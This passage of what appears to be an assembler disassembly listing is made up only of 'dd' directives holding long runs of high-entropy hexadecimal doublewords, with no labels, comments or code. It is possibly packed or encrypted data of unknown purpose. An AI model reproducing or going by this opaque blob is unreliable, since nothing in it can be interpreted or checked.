4056482Fh, 12571938h, 4682DE6h dd 1F325CB0h, 440B0253h, 551C83F7h, 1D83AEAh, 461CDB40h dd 2F86F010h, 1809943h, 0C98B083h, 4086EDD8h, 2AA3049Ch dd 0BA6048F0h, 20DDD710h, 0DA80571h, 4BE2142Fh, 4898A0BCh dd 4348B099h, 3378C65Ch, 2773ECE1h, 582FF2EDh, 0F7C9253h dd 28648061h, 0B74D1314h, 7764F454h, 186C1558h, 9F4848C3h dd 0E66E0019h, 3FE21304h, 0E062972Fh, 8646B130h, 341D0CCh dd 28E75230h, 0CD8297D2h, 0D8948C48h, 17589B5Dh, 1004ABADh dd 70CD43BDh, 0F184882Ch, 0D6E0D1EFh, 3C360CD3h, 83A80653h dd 56C70798h, 8C072F33h, 0FF008E38h, 55A2001h, 3F7274A9h dd 0D68017BAh, 0D929E786h, 60E99F1Bh, 0C13C7A23h, 386787EDh dd 0EF266D63h, 1F910068h, 2FE755C6h, 0F906AF56h, 3BA2D8FDh dd 8C450090h, 9B6EB0C1h, 6300819Dh, 56B1757h, 0E0E7287h dd 0C047365Dh, 21814E0Fh, 744DA985h, 68631B10h, 0A03972E0h dd 639C92h, 0B996800Ch, 0D803EE74h, 0F8973428h, 0C9A68F02h dd 7126E2B5h, 95BAB0F8h, 1D2AEC6Fh, 24948CF2h, 19E80CC9h dd 3D602424h, 0C674008h, 0A4140768h, 27C8B6C2h, 0EC54A29Ah dd 67B802AEh, 3F0C4C7Bh, 8DF97Dh, 0F677B0C3h, 8FC4DD83h dd 28C0A5E8h, 0A782DE07h, 0D5341D29h, 63740DFh, 6DFECF41h dd 0EC14FA26h, 8007502Ch, 0E9B58FDDh, 0E7EF9081h, 0E8297061h dd 6F366781h, 0E3AED8D2h, 0E1ACBE00h, 1689056Eh, 414E010Bh dd 8C6DCF4Fh, 0E7308043h, 5596A024h, 76B01D95h, 0CA47000Ch dd 856B104Fh, 0F70524B8h, 3E92257Fh, 14429456h, 8C0212Fh dd 0D8EA01E8h, 3C3EDB36h, 568F0820h, 0E4C70775h, 29D983DEh dd 0C17C1048h, 2F397F18h dd 0B602FDE5h, 0C09A24E1h, 35013875h, 0FE048794h, 0E464AAD8h dd 0EB8F2AD6h, 22CB880h, 0DD65973Fh, 0BC9807E7h, 580527Eh dd 3B3003A4h, 0DBEF4783h, 8808CC2h, 0B6B0D89Bh, 0F4B01890h dd 58C9A231h, 803D254Dh, 303C6185h, 76904B0h, 63C28C13h dd 27E00426h, 0A0934D6Fh, 0BB87C1h, 0A465B897h, 45B21650h dd 8F304362h, 187A5819h, 72F04CB0h, 0D44459h, 9D53D1FAh dd 1A5050Eh, 0FFDA3955h, 0A7E4BD2Fh, 46582248h, 8A888054h dd 1E04056h, 9DB9B525h, 648804D8h, 5C04A124h, 9E41C85Fh dd 0FE2FD8D0h, 3A20B2ECh, 2AB28F4Ch, 0FC1C378h, 7C9D4124h dd 0C0CEC834h, 10ECD424h, 0C1A2AC00h, 4D164FCCh, 0D809806Bh dd 74C21EA3h, 8403862h, 5C9015BDh, 8160DE58h, 0E1DCF7C7h dd 306DB820h, 3818FB70h, 6203B080h, 0D737AD53h, 0B84783E7h dd 0BB8AECCh, 0D9EF3871h, 30C300B0h, 531CA4A8h, 21E13300h dd 189EA50Dh, 3FC4B15Bh, 3A80C977h, 0B8603062h, 5C1BC95Eh dd 0F038C6ACh, 78B0F28Ch, 0E7513CB5h, 9FFB3187h, 0B671A0D6h dd 0FA0A27E1h, 0C849E48Fh, 1B98C780h, 4057B51h, 6DAE088h dd 0B2908061h, 3000F26Dh, 49896A5h, 0F08A6280h, 6698C485h dd 49CA23Bh, 7AB76E3Dh, 182A9808h, 7856A222h, 0CF7D0088h dd 9FA88D07h, 4C0172B0h, 8F95EED0h, 9000697Ah, 8BA31D8h dd 4F24D57Ch, 0F93860D0h, 77205478h, 63449644h, 1DC4B96Dh dd 53349CFh, 940108D5h, 61742F37h, 0C01EE838h, 0F13FC042h dd 0D818C27Eh, 4DCC10DCh, 3D0B7030h, 2AA59E66h, 0B7858482h dd 7945ACE0h, 0DE1D2E16h, 7CE5A0C4h, 0E82BC4h, 9585057Ch dd 3152EB54h, 0D8EFEA78h, 7E7DE509h, 0B46FB003h, 88678144h dd 0B9D56A1Fh, 803F13B0h, 463C8FC4h, 117ED8C9h, 0B09230A8h dd 98C4C6C2h, 0D202E2FBh, 38CE0E1h, 0D5E4EE8Fh, 9924BC08h dd 8D9A4544h, 0A0EDE304h, 9C1D3B24h, 0CF0F6C10h, 0EEDA86F3h dd 68D84818h, 0BB11F93h, 3868B1C0h, 74908DFFh, 0FCB1D898h dd 542A283Eh, 4F18B861h, 1830D1D3h, 74508254h, 6D06B8BBh dd 0FC718DD4h, 62770E2Eh, 0DD5D47h, 27C322F6h, 10DF45C7h dd 8C0C7514h, 302F8198h, 5950F813h, 0C4B40DAAh, 7E680049h dd 8ED3F5h, 6602DAD9h, 18F6476Ch, 93E3A16h, 64941800h dd 0F9EF53B8h, 8052031h, 1D145010h, 2024616Dh, 15FAEF00h dd 2D45810Dh, 602080DDh, 0CB96AD65h, 0D4338F12h, 0F3C75004h dd 55FFCCC0h, 935B0020h, 0C95C2759h, 8F14D978h, 8C4CB6h dd 0C080E9EEh, 81F33C2Fh, 43C61B8h, 0ECEC0230h, 5071DE52h dd 1B8CA180h, 909257BBh, 308F181Ch, 8996502Dh, 0AD17B0A4h dd 3C839EA3h, 0FA2CB2Fh, 6362F018h, 726DE7E2h, 395A7478h dd 2C2F0047h, 6F900569h, 37C1901Ch, 0E6C77FADh, 40081304h dd 0B8933C4Ch, 78423061h, 31689876h, 0D498F445h, 117B0024h dd 209C6490h, 6CB482E8h, 0DF6AE840h, 1C249A81h, 0BB840797h dd 0E00171D0h, 6DC24E3Fh, 0A8C17090h, 0DCF0F73Eh, 80003827h dd 0ACF87E42h, 0C9890A3h, 3226A70Fh, 71EE6081h, 0B8074F51h dd 3A9C297Ch, 4198ACE4h, 454742A0h, 1038A280h, 0F85DBBAEh dd 87D70709h, 6538A882h, 6A3046C0h, 0C1C73B01h, 27220EDAh dd 859F3078h, 0D0E8FC2Fh, 0BA13691Ch, 0E79F3A00h, 4ABB9E03h dd 79303CDEh, 82B28h, 23DCD662h, 4F1E6D0Ch, 10B8E258h dd 94002F11h, 553B9C8Bh, 0A704C657h, 8C453424h, 857607C0h dd 0E64B29F4h, 0FBF3C08Ch, 0D838A2EEh, 0D427DB3Eh, 0C09EBC82h dd 4B8FDF9Ch, 300400EEh, 468854EFh, 0E618D701h, 0B072F220h dd 207C7E0h, 6D6B3666h, 0F468BC8Ah, 0DCB06905h, 9542E094h dd 0B5701B3h, 0CEEFE164h, 0DB652840h, 10D38F18h, 26E2E1A1h dd 6024A03Ch, 7A168F86h, 0EC3180h, 10788B05h, 382F7B95h dd 6D38AB60h, 0DFA504h, 943947B1h, 0B58FD457h, 0F3E90F41h dd 56103033h, 4F36099Ch, 5BF0C4D1h, 47687163h, 4F843DDDh dd 37D79C40h, 0C0CCA73h, 65552F89h, 0D4E464C8h, 0A379C616h dd 0B9BDA800h, 9B0CA5Fh, 9E8E8C49h, 17942002h, 60F9C702h dd 804DFE84h, 0D42E6293h, 5D00983Dh, 6D680BEFh, 90DD6606h dd 2CB07855h, 380496h, 52243D4Dh, 157E289h, 434CBBFh, 8FDFF777h dd 0E1D78704h, 0FFDD46E9h, 0EEDE29C4h, 0E0437050h, 3FBE0056h dd 81585323h, 0F703AAEEh, 7DE9ED59h, 2D22004Eh, 69C85CACh dd 767FBA52h, 0D100BE70h, 2EAC1E2h, 0C1E19CE9h, 504DB15Ah dd 14B0C852h, 586069F8h, 3D1B6842h, 5A02032Ch, 4245431h dd 0DB0BE9A8h, 0C64938CEh, 0F62C8ADFh, 16CA60EEh, 81241C8Bh dd 1A04C437h, 0DBCB0103h, 7383DB0Ch, 2C31B16h, 0BFE72887h dd 0BB0F6683h, 0E99C81EFh, 0D24B8CC9h, 68B4132Ch, 4F2B4A12h dd 46F4D865h, 635FF88Dh, 0E689561Fh, 5A33A099h, 68F03449h dd 5118C523h, 0CA504FB9h, 0E5407A6h, 243C8906h, 1F02BFh dd 6326C181h, 0E3E910B7h, 0E5277767h, 39072h, 0F6E0B652h dd 0B880DE39h, 99F33FC4h, 8B1E37DBh, 4C51C89Eh, 0BA317A33h dd 4C0E64A8h, 0CEF6BC0h, 0EC236231h, 0CE702DF7h, 0CAC1DB40h dd 3A036071h, 4BE9F901h, 0AD320584h, 5F372F68h, 60D99D5Ch dd 5EF1311Ah, 0E9BE30DCh, 81AFA81Ah, 0F942A8C6h, 6FEA8846h dd 6C32A1Dh, 2D4AC280h, 389D635h, 0E9455AD5h, 4028ED8Eh dd 75209B28h, 0FC5EFC58h, 46506835h, 0ECCA4E2Eh, 85891406h dd 5EB7BD00h, 0EBE97D08h, 0F5272D62h, 0BE640AFh, 8932C983h dd 62680800h, 0D039E51h, 9A82D58h, 0D9C6144Dh, 0B3867B03h dd 0F6DE1151h, 0A6F6100Ch, 9590ADh, 7375193Eh, 348BF029h dd 543FBC90h, 85E90D5Ah, 8946C361h, 7C836E8Fh, 48655E4Ah dd 0E9C4304Ch, 0C2A80F63h, 691E1305h, 48CC4345h, 4887160Bh dd 0F803B3Ch, 0EF68C8B7h, 0F8B72754h, 1FC52544h, 85BFFBB8h dd 205DEE01h, 772A6838h, 3FA33DBh, 80D4F60Ah, 63B71ECh dd 0D5E407E7h, 539C77E9h, 1EE07EDh, 0CF597453h, 9D1423E9h dd 51000684h, 0D1F6A8B1h, 0DE6DDAE9h, 23E10121h, 0DC4648B0h dd 6418D7E6h, 0EE1A046Ch, 15A9041Ch, 9324BAE9h, 0D1B9F0A0h dd 0C8414064h, 4D98AD3Ch, 1830CD06h, 0EC34AFh, 915C075Bh dd 665DE831h, 3ACAFF7Fh, 943DD6C8h, 7ABD8BC6h, 9E5B9D24h dd 895710B0h, 0C78124E7h, 3B306259h, 2E8C100h, 4417291h dd 368D8F7h, 1C069338h, 39BF3C01h, 0BB1FE93Dh, 7713FBE8h dd 5EFFF9Ah, 4BC38026h, 0EB2F8328h, 0B0045AA8h, 2390D8E0h dd 451CB40h, 1E477168h, 53A7981Bh, 3D00527Dh, 5A71CA05h dd 0E3BE281h, 0C128D81Ah, 185513D2h, 0BCBF68D6h, 0C8384B38h dd 9963BF4h, 4F6739h, 76E8550h, 0C3FFA05Fh, 5F73930h, 0CE06DE3Ch dd 1DAE278Eh, 1734BD0Ch, 4710C3Ah, 110839Eh, 305487F7h dd 36AF7A87h, 9A760C1h, 188057E8h, 75FE37EBh, 0FB62A3E9h dd 66BB53D0h, 0C6EF0170h, 10BBE1Ah, 12B344DFh, 20E62D08h dd 0FBA95FFFh, 0E83D60CEh, 272A6D02h, 62C68359h, 0E9B081ECh dd 6C8FF2A2h, 4860E0C1h, 0CEA3572Dh, 10BB4648h, 0F724409Bh dd 4FF1083Dh, 66F82803h, 1896C95Bh, 0DB53129Fh, 8992483Dh dd 0BDCABD8Fh, 58BA80F0h, 11FDAFDh, 975FFA2Ch, 0EB53880Ah dd 70280E4Fh, 4110CC7Dh, 6C8740Ch, 0F19005Fh, 34FFC0B6h dd 8CE9870Ch, 0F2506AC7h, 72019874h, 60F7A48Bh, 0E95C0C8Fh dd 0D1926CAAh, 2B2E360Ch, 63ECB473h, 2CEB7D2Ah, 17AA7224h dd 0BE54558Eh, 89A8A6ABh, 87180685h, 3E535C2Ah, 0C3AAE389h dd 20EB4313h, 0E973A81Ch, 7B72493Ch, 0FAB97267h, 653E43D9h dd 0F1E39906h, 489CCBFEh, 0D1348221h, 2D8FC8F0h, 4C663A40h dd 0F11C0D58h, 30228380h, 0EAB259CAh, 0D7881E40h, 6948E958h dd 17380195h, 6FEC7C47h, 91B58006h, 6F0350CAh, 0A87889C9h dd 0B8BABDCh, 9BF188C0h, 7706F422h, 53B2E91Ch, 99CB4C33h dd 14DF1A31h, 0DECF4D24h, 0D22DAABAh, 0FAEB07D1h, 0C368C1E1h dd 781C630Ch, 68144620h, 18E33B54h, 0D38886DAh, 0A92B0AB0h dd 0D202AC7Eh, 61642240h, 52338898h, 552E4342h, 287B2110h dd 1B5013B9h, 0C38B0062h, 416724FBh, 0F3004B77h, 99C9404Eh dd 925BDD29h, 0F7E91800h, 835F3C66h, 0F91BFCA2h, 9A478A4Ch dd 485864EAh, 36168259h, 6FAA2061h, 0CC3A4CEBh, 485D3501h dd 0E8F6FD82h, 0EF5758DBh, 0FB5570CDh, 0E7685742h, 24A16616h dd 820C04E9h, 286FC680h, 8D3DF860h, 218AEDDDh, 5EB7BF01h dd 0A102C5E5h, 0AF2CEF80h, 0EFC66AC3h, 58C3099Fh, 0E08EDC1h dd 79DD7FA2h, 1C6F061Fh, 0CE20FD8Bh, 2E016F18h, 0D5087406h dd 62AAC151h, 0D10181A3h, 0C09B335Ah, 0D060631h, 110E685Ch dd 14F189CFh, 855BAC52h, 0C8976A4Eh, 4CB2B9C1h, 0F8CF01D0h dd 690F92A0h, 6D808621h, 418D3394h, 770A0CC9h, 87299005h dd 314CCCDDh, 0EA0D06DAh, 285C446Eh, 8481DCE0h, 0BE24C0DDh dd 62F07488h, 0F8D6F726h, 0DF590F00h, 58EEC16Fh, 0ED04BF05h dd 0C1275103h, 0CC04ACFBh, 0C4DE91Fh, 805A07E6h, 0F53028CDh dd 0F0DDF691h, 88AB14EDh, 4D57E8EEh, 9266DE40h, 28AA09Ch dd 83C34C30h, 61878F9Eh, 124640Dh, 5EC27E6h, 0A6442054h dd 1100A008h, 0EA7C913Ah, 0CE18E2FDh, 0FBB2A00Bh, 0FA4E1D61h dd 1ACC6976h, 0F3FD780h, 5EB070CBh, 995F430Bh, 3040314h dd 0C3550083h, 502056CDh, 0BE98DA89h, 8F2AD55h, 0E668B0E9h dd 5A624050h, 6CB201F7h, 5D9C7088h, 6213B1F1h, 0E8BF89Eh dd 3D90665Ch, 87915E68h, 8149E820h, 38A970B6h, 44B2595Fh dd 3F3A46F6h, 0ED06B717h, 4E3477F4h, 5842390Ch, 601C612h dd 265A6B99h, 0C9C7312Ch, 14451903h, 3080B77Bh, 0CFD38E66h dd 33694FF8h, 51FBB801h, 290840B9h, 8B2559CBh, 0DAF5133Ch dd 9BE34653h, 0EFEE00F9h, 122E361h, 31E9DE0Ch, 1041A8Bh dd 0C07024E7h, 0D3FE03E0h, 0C6280CC8h, 0F52C5802h, 88D84BE9h dd 2F4F9091h, 0D33CB851h, 0D0A6EFE0h, 7E8828Dh, 91AE5A21h dd 0F7528391h, 0E9160814h, 280B7FE7h, 383896D8h, 0E806B72Ch dd 0CF7B5CE9h, 9933E277h, 0F02088CDh, 0FD0F659h, 0C8FEBA2Ch dd 0E93619C6h, 97D54450h, 0FDDF7D3Dh, 8716F94Ah, 97339A4Ah dd 4C06311Bh, 0D28D840Dh, 0CD249E7h, 334070E7h, 6C01355Ch dd 7A80095Eh, 0AD003762h, 0A8546286h, 89C934F6h, 0F39B08C1h dd 0A64BD612h, 245D16D1h, 435FE931h, 0C300553Dh, 7C0436C3h dd 0FAEB2912h, 935E9A57h, 0BE8F3C22h, 0FB33681h, 1E13031Ah dd 0F609FD26h, 418FE44Fh, 8A348B25h, 0BD197D53h, 0C52C7136h dd 21E4D5C5h, 745D7DEFh, 0FBE910D1h, 0F7511417h, 815901CEh dd 6F7449C9h, 41DADC20h, 1809E7E8h, 843435F0h, 71B4061Ch dd 0B90802C2h, 0D6019CF4h, 8399F98Eh, 0DE2470F6h, 9AD3586Ch dd 0BE560350h, 3D8B7DE0h, 0DE2C230h, 2C5EF089h, 0C1E9C201h dd 87EDE9h, 150893BEh, 0CD814C95h, 0E3639E02h, 17E8293Bh dd 6B608FE9h, 6D0F68CFh, 614A4E8Eh, 3D148D8Fh, 622B02B0h dd 50467D5Ah, 2EC634C6h, 75A1C213h, 0BA0948E6h, 208A4F15h dd 3D3428AEh, 0D6293459h, 0FA081136h, 0C092E913h, 0B05066E9h dd 64E61852h, 5D1721Fh, 0DDC9D5F7h, 9C7E87E4h, 0E4FE6376h dd 835E400Ch, 4147B6C2h, 12C20050h, 27907877h, 52A52C61h dd 145FF68h, 4AEAC759h, 7A188B66h, 81DD7909h, 3E07CD02h dd 604D718Ch, 2D11CCAh, 0FD29AFC4h, 177869E9h, 0C3486678h dd 0E5EB0D1Fh, 0B8E8D264h, 553A4862h, 1872BF0Fh, 0CF24476Ch dd 0E95E8D09h, 5AAF2159h, 0BDC3BE2Ch, 0EF795BC1h, 0C331168Bh dd 0EDEBB86h, 19F2E1B8h, 98EFEBE6h, 0A7D27E0Ch, 78790B24h dd 4840F5E9h, 423970BFh, 38A6E9B9h, 9C577C86h, 8156E2E2h dd 6FB48780h, 6F984AA9h, 6453D4Fh, 9F2020B5h, 64944129h dd 1EC3A667h, 0C0A8B6C1h, 69408EEh, 626E605h, 0D8F6099Ah dd 2008498Dh, 0A0982002h, 0D3EE8005h, 0CB53A7E9h, 949455C4h dd 74358EE3h, 93CD82C5h, 4760DAA9h, 8082C790h, 5D6DC3C2h dd 8942139Ah, 519C2CD9h, 80A62CF4h, 92216527h, 0C9D9614Ch dd 21434CA0h, 0BDBD6263h, 78100253h, 865B4DE2h, 350F0CF0h dd 8571DE89h, 88F7C1F4h, 0A0C360DDh, 46105269h, 5651005Ah dd 484D8468h, 0A2CE959h, 8351CDC1h, 7C290CA5h, 5D530948h dd 1129C2E1h, 0CB920E8Eh, 0D499215Ch, 0BA100449h, 18034DC0h dd 0E6D34D65h, 0DABA0052h, 81783253h, 622667EAh, 0E21F1526h dd 42903D41h, 1C97D2F7h, 425252C9h, 4EE8357h, 0C2546A72h dd 0FE4829C8h, 7C4D4AEDh, 94A8235Fh, 54E0E6A7h, 33C06F05h dd 311A3302h, 0A60D066Bh, 908D310h, 0C04CE99Ch, 7FB28D27h dd 8EA25409h, 0F740F101h, 729402C1h, 2C242452h, 9AA12848h dd 9CB08h, 0AB7B8BBEh, 0CE2C310Eh, 0E9610C59h, 0F690AE6h dd 7E1A56CBh, 0C7839A68h, 833C88A1h, 9BE951EEh, 8C385947h dd 0D7E65FC9h, 466A6813h, 91803735h, 0BE15D2h, 2E3C17Dh dd 0CD0F381h, 987B542Ch, 8F79061Eh, 0E036B16Ch, 15BD889h dd 0F9584CC7h, 0EB570C31h, 0CFF8195Eh, 8A12D128h, 645A7D59h dd 0FDF1D141h, 5284C31Fh, 715E28D2h, 4AE98F20h, 59CF27F8h dd 8E7C10Eh, 0C496081h, 4BE93C12h, 0B85400DBh, 731C2BA6h dd 0DF570501h, 0C321B9FBh, 0F312F72Ch, 9E3014F5h, 21C5D652h dd 0D0C352F3h, 850FDB89h, 5A44EB26h, 540477CAh, 95D00BE9h dd 3D534EBFh, 0AB247159h, 872997E0h, 9F492D4h, 2A96ACC6h dd 0B0D32E8Bh, 4B5451E0h, 0E9AB3359h, 28026FBAh, 578FC8EFh dd 81E9AE54h, 0E628E2B5h, 27E10B92h, 0F801AF22h, 224762E1h dd 22338928h, 6AD4DED9h, 7FBD143Fh, 7F13345Ch, 0DCDFE031h dd 0E7606664h, 0D3C1A0B1h, 8081E0B4h, 0F6A5C2ADh, 0AB0ADA67h dd 42B3B40Eh, 0D04B70A8h, 51807927h, 1B22B450h, 44FD19E9h dd 0F37B2CFAh, 0CCDE1325h, 0F2BE7F04h, 80D64895h, 95C63EEh dd 1ED2683h, 9D31733h, 2D877105h, 3B7FEE7Bh, 746BCA02h dd 0A6C06EEBh, 5042E35h, 5FFA2152h, 814A0C80h, 0B8A001F2h dd 0D529B4A2h, 48E9FD5Ah, 7F0C14Ch, 0C906693h, 64D8522Ah dd 0B383A8ADh, 27171684h, 67B63735h, 0BBD06D48h, 0A73CA22Eh dd 0EB402932h, 0DFA623C8h, 14505C3Dh, 4888E389h, 0E087CA73h dd 5E826BB4h, 87530729h, 0F95FA7D3h, 815AB9C9h, 68D231D5h dd 542C7280h, 812C5D90h, 58F6BD51h, 585B175Dh, 30750C6Ch dd 0BF2C173Ch, 8ED28CDh, 17BE92Dh, 61C5BF2Fh, 3E2977F8h dd 3F925FFBh, 0F9504F32h, 6B86029Eh, 0DF620DD9h, 554CA446h dd 753C044Fh, 0DF8020E9h, 4CC93D1Ah, 0E4065239h, 18549823h dd 91603F09h, 24618911h, 0D9C1DE58h, 886089D8h, 3F5F445h dd 16A42767h, 0C81CEF01h, 0C62C02C7h, 0F665C60h, 0F9C858BEh dd 0BD4D4C7Ah, 42146F81h dd 1795EC10h, 0E152A6BEh, 0FC85873Dh, 0F0D7299Ch, 7A40B269h dd 5D002F7h, 2EC3180h, 0BF20DB82h, 0B151C30Eh, 69F8C947h dd 921E8A54h, 4EA8B9C0h, 78144D6h, 0E203BF1h, 17E16033h dd 0FAC6076Fh, 908501C1h, 3FB425B9h, 8802E024h, 0FBFA63DAh dd 1C897C65h, 0BCDC4C91h, 9C2F2505h, 1A404C52h, 271414BAh dd 6E7ADA93h, 0ACC0FB72h, 11A2378h, 886D968h, 84465B16h dd 48CF76E9h, 0AA50AD89h, 61082497h, 7EA109Fh, 0D7338FE2h dd 0C7CB0099h, 2F483Fh, 661EB850h, 0C2312DBAh, 68602AB8h dd 10F5C679h, 0C746009h, 4B5B7998h, 0F7E8F6F8h, 29447516h dd 0AA92CF18h, 4CD70936h, 6D91515Dh, 15293659h, 22860CFEh dd 63BE0056h, 81498513h, 721343E6h, 780B0F37h, 5F2E247Ch dd 0F420AE89h, 0C814D21Eh, 564108C0h, 0CFB349CFh, 0C181B318h dd 402E0C3h, 215D1861h, 52A5E45Fh, 1717BC5Bh, 0C91737C1h dd 120FD9B2h, 412BBBE8h, 550D03AEh, 0FB661CF9h, 1579327Bh dd 0DECA310Ah, 0D5078664h, 294B5D50h, 89A0899h, 52267928h dd 0C3FD040h, 14575EF3h, 0F04E014Ah, 0BD5ABF05h, 0C5FDEFD7h dd 0CA595645h, 14495092h, 7490F483h, 73CC8870h, 0E5E36659h dd 8079D958h, 0B6528400h, 2E6C049h, 7F6E26E9h, 15C468AFh dd 5503B123h, 0F2504CBDh, 0E7EAD024h, 184F013Bh, 97E965C1h dd 295B853Ch, 0EAF020F5h, 0D76FAC0Fh, 0E7C2A148h, 1D04592h dd 52069ED5h, 3388E1h, 957EC1E9h, 0AD83ABB9h, 273A140Ch dd 601BAE9h, 60F9295Fh, 0D17CD930h, 0BA1D514Fh, 14116A4Bh dd 264691CDh, 0BCB10ECh, 4C5D5455h, 79EB32A0h, 8DC1520Ah dd 0C606A6F2h, 47F0FD09h, 225512EAh, 0E9235D84h, 0B8A3281Dh dd 0C1291316h, 82C35958h, 5C169605h, 134295D8h, 932E2D22h dd 110D46C7h, 80FA6CE9h, 6513772Ah, 6C5F44EFh, 1079E318h dd 800F0C53h, 0D006F5F2h, 0F105C7FBh, 3B2CA78Bh, 0B308FDD5h dd 1BC62509h, 25F04C49h, 0F759CC5Eh, 0D4D50E6Ch, 0E0A6503Fh dd 7FA602B0h, 186016BBh, 9C1663E9h, 980B4147h, 8AF7B24Dh dd 0DB0080AEh, 8153CB62h, 672D0CCEh, 5FE26F4h, 88169870h dd 970AF389h, 0E853EA59h, 2A685EF5h, 5B813DFCh, 318012A5h dd 80BA1328h, 656BD12h, 7FC14FDAh, 699AFAEDh, 0D38F366Eh dd 0CCCA250Bh, 0CE908F50h, 945C942Dh, 5DDD37F2h, 4F5E6017h dd 0CC0551Ah, 14EB4E92h, 0C821155Fh, 0FA12F68Bh, 2049B4F2h dd 741E2FFh, 0FD08F95Ch, 8D492FE4h, 0EA2C19C2h, 6277A193h dd 6655385h, 3229B7ACh, 0B08803ACh, 0F74F0078h, 0ECCF81DFh dd 5CD44412h, 0D5EA1707h, 1AE9DDB0h, 2FB916Fh, 40410EE7h dd 0A6E335E1h, 0E90BE80Dh, 6676E08Ch, 67B23852h, 5A2CD43Bh dd 1D9A1C82h, 59C35DE3h, 3DC41258h, 502C7568h, 8D09EEB0h dd 40A79A5Eh, 0BB7D246h, 0A2C780E4h, 0EFAB9F0Eh, 0A9E9CF87h dd 8B580961h, 0E02EB670h, 832654C6h, 2A00AED6h, 0BA7D5704h dd 174580DFh, 9EA29ADh, 0C9904A8Dh, 6F4C0268h, 0D3E2D274h dd 0FB4C9E90h, 0E95E8E0Eh, 63C94E2Bh, 54652B02h, 0AB7471E5h dd 0E9309A5Fh, 2DDC292Eh, 4A069620h, 0ECBD1C98h, 0A7E051DAh dd 34ECF819h, 5323D031h, 3D10D099h, 114905h, 0B6C72CEh dd 0E481EED1h, 4E8EB32h, 68351ABBh, 0B652FCE7h, 0E19D70C4h dd 75DAB809h, 58C68902h, 4A407731h, 4C9CD1E0h, 6DBA70A8h dd 26FFD35Ch, 1F32BC07h, 0DC9D8146h, 0FCD7E17Dh, 868241C5h dd 0EB890156h, 3761715Dh, 257E49C3h, 2F6105Ch, 5B41E651h dd 94A44120h, 0FC07E40Dh, 60B808E2h, 371ADA16h, 0A3EF3E0Ah dd 40034AB5h, 8190B753h, 4D205BF8h, 7E2C98ACh, 1A1C9402h dd 55A306F6h, 6EE64AF2h, 0D4EE4C55h, 0BA9DB807h, 65061213h dd 1227A43Dh, 66068147h, 0E446888Fh, 971528B7h, 0B9568792h dd 51366841h, 0C4587F23h, 0E286A02h, 66404049h, 0AF2D751Eh dd 0F54B807Bh, 12CAF6D5h, 8E809A2h, 431F189Eh, 0E46CF380h dd 7E89B441h, 0BDD830D9h, 1629C2C3h, 655CDF24h, 0C381F017h dd 0BCDCD031h, 3F0F990Eh, 94353924h, 1601E242h, 0F75EED3Bh dd 0C41430D7h, 5B8D5802h, 4005E7C1h, 260EA06Bh, 17A46607h dd 0C6AED07Ch, 0C2CA519h, 8A05429h, 8FFF1BB0h, 290E5412h dd 5D022463h, 0AE9A1A5Ah, 58492154h, 3B6810B9h, 9E91230h dd 37D008C6h, 0CB7B79ACh, 680CE719h, 87D8C947h, 0DE82C38Eh dd 9A0F35Bh, 61A1F573h, 0D33FC9BEh, 12EE8834h, 36998980h dd 83404AE9h, 8E9C1F1h, 0A8D54046h, 57026596h, 20E9C601h dd 0FEC2C8C4h, 2D3C4F8Bh, 520CA12Eh, 7301E98Eh, 2C683C88h dd 0CFD36DABh, 1459E82Ch, 0B2F2CCCFh, 5BCDCDE1h, 0A8074703h dd 9D9508BCh, 4DE5FAF7h, 2C633B4h, 56BA21BBh, 0D088FE01h dd 0E5F1A08h, 0FC96B91Ch, 0CB68342h, 60130AF0h, 125F6839h dd 0A665AF89h, 909209C7h, 57080005h, 0F5685150h, 255C7612h dd 7042101Fh, 0B55D5C76h, 7C5D55CDh, 98CE4E8Eh, 0A627525Ah dd 6438102Ah, 6D5DA656h, 0CDC0134Bh, 62E2E11Ah, 1C87CCA1h dd 0C7CB4AE9h, 910D5695h, 0E0C5B6A9h, 4E7D624Ch, 14266B2Dh dd 698D91F2h, 0EF4AFCDBh, 4867E725h, 7BE0A776h, 8EBB5D16h dd 58FC8634h, 0C8FE4403h, 34E3D0F6h, 0A4DCE2Ch, 0C3A0B49h dd 6C7089Ch, 0E9053106h, 0C181E766h, 694CC74Ah, 73C410A3h dd 97E5881Fh, 56CC8196h, 5F5AF854h, 9E9C71ACh, 74DBCA42h dd 669D405Eh, 7B9CD359h, 20B56188h, 3B72FAC2h, 0EA0249E6h dd 15330BAFh, 0A60194E1h, 9F0B896Dh, 84A3CE1Eh, 40681290h dd 0F1BFCC47h, 2A95CDB2h, 0FE094DB5h, 92DF6413h, 1436206Eh dd 5B2E3E98h, 0E62C231h, 825804B9h, 342417BFh, 0E6730304h dd 6451038h, 0ECA3F864h, 3294F79h, 0E96C046Ah, 0CDAAA41Fh dd 23C2584Ah, 0AEE5604Dh, 3BBC2756h, 0C1BFDF81h, 3E042B3Ch dd 0F7E943E9h, 155E013h, 0D174CAC6h, 49BB206Ch, 682EC882h dd 33095E0Fh, 0B3D05202h, 324CEA73h, 0D3FD3013h, 3DDEF65Bh dd 0C2255366h, 0CD293182h, 3DC18390h, 83E91997h, 0BCA46405h dd 65A0D237h, 4D69419Ah, 0B0292058h, 254B6374h, 5E36AE82h dd 0C80F016Dh, 2D31B668h, 1EB48C42h, 52F76288h, 0D23258h dd 800467Fh, 8FCE810Eh, 16662B0Fh, 0A03E6C1h, 8B572C63h dd 73C55258h, 5AB32027h, 9A548D68h, 4CA7201Eh, 0FDF5801Fh dd 0A628ACFBh, 0BE525D17h, 51C45804h, 0F4A6B107h, 206881CEh dd 0ED1770F5h, 9C328868h, 206A842h, 7142FA01h, 59406B92h dd 550423FDh, 0DBF74338h, 0ADE990D1h, 0E726A622h, 28690F8Ch dd 76DAEDDh, 318706EFh, 0DF31D5F7h, 858FD93h, 75242CD7h dd 7C0782ADh, 0BF20FB9h, 319B33F0h, 1CB39430h, 7125F9BEh dd 6054F416h, 61F77753h, 5B2CBA34h, 0E2021D4Fh, 0DC384CB3h dd 13B2C24h, 428D2B36h, 0BF843045h, 13E80C13h, 19288C21h dd 0C823CFDh, 1AAC4A95h, 2D2E1200h, 0E8012E02h, 52D809F2h dd 0D4435E07h, 0B03EC1CBh, 0F5E507F6h, 40C1BCF4h, 0C3482928h dd 444477FFh, 3B727BF1h, 7C7DEAh, 0AFAA21DDh, 4259CA09h dd 0EA56F6F5h, 567F0CB0h, 727B60E4h, 311737D5h, 0D8F8ECC1h dd 0D0451A6Fh, 17081C08h, 89036153h, 881C30C2h, 0F2D5440h dd 45C56F68h, 535DCD44h, 0DA027212h, 0C1232CE8h, 95E3C3FCh dd 5145081Eh, 8CAC08E9h, 3844B927h, 2F96ED0Ch, 0BC5CAB8h dd 1BA62DA4h, 808DE6Ah dd 272F1086h, 4B1BAF57h, 